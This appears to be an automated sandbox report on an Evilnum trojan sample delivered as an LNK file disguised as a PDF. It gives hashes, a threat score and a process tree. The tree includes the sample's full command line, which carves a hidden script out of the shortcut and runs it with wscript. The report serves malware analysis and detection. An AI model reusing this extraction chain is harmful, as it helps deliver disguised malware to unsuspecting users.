evilnum | cff5ed4de201256678c7c068c1dbda5c47f4b322b618981693b1fd07a0ea7e68

Analysis

Target
cff5ed4de201256678c7c068c1dbda5c47f4b322b618981693b1fd07a0ea7e68.lnk
Size 1.2MB
Sample220124-dvtq7sbbbn
SHA256 cff5ed4de201256678c7c068c1dbda5c47f4b322b618981693b1fd07a0ea7e68
MD5 48cf7f7b4180b1c4fb3ac3e149917130
SHA1 4186f3b6bd8225ede814047952e1e0f0f450faf7
SHA512 59c5cef7739e1ee8d5607f5d8cc0c53690bbfe72186cc313b038b43bd14a7bcc5662fe9b3230150175df284d2629ba979033eb01288deb76e8fbf7a154057b85
MD5 SHA1 SHA512

Score

10^/10

evilnum trojan

Evilnum
A malware family with multiple components distributed through LNK files.
trojan evilnum
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3836 wrote to memory of 3804	3836	cmd.exe	70
PID 3836 wrote to memory of 3804	3836	cmd.exe	70
PID 3804 wrote to memory of 760	3804	cmd.exe	72
PID 3804 wrote to memory of 760	3804	cmd.exe	72
PID 3804 wrote to memory of 2332	3804	cmd.exe	71
PID 3804 wrote to memory of 2332	3804	cmd.exe	71
PID 3804 wrote to memory of 1344	3804	cmd.exe	73
PID 3804 wrote to memory of 1344	3804	cmd.exe	73

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\cff5ed4de201256678c7c068c1dbda5c47f4b322b618981693b1fd07a0ea7e68.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:3836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c path=C:\Windows\system32&move "JointAccountDCS.pdf.lnk " "C:\Users\Admin\AppData\Local\Temp\1.lnk"&type "C:\Users\Admin\AppData\Local\Temp\1.lnk"|find "END2">"C:\Users\Admin\AppData\Local\Temp\0.js"&wscript "C:\Users\Admin\AppData\Local\Temp\0.js"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3804
- - C:\Windows\system32\find.exe
    find "END2"
    3⤵
    PID:2332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\1.lnk""
    3⤵
    PID:760
- - C:\Windows\system32\wscript.exe
    wscript "C:\Users\Admin\AppData\Local\Temp\0.js"
    3⤵
    PID:1344

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact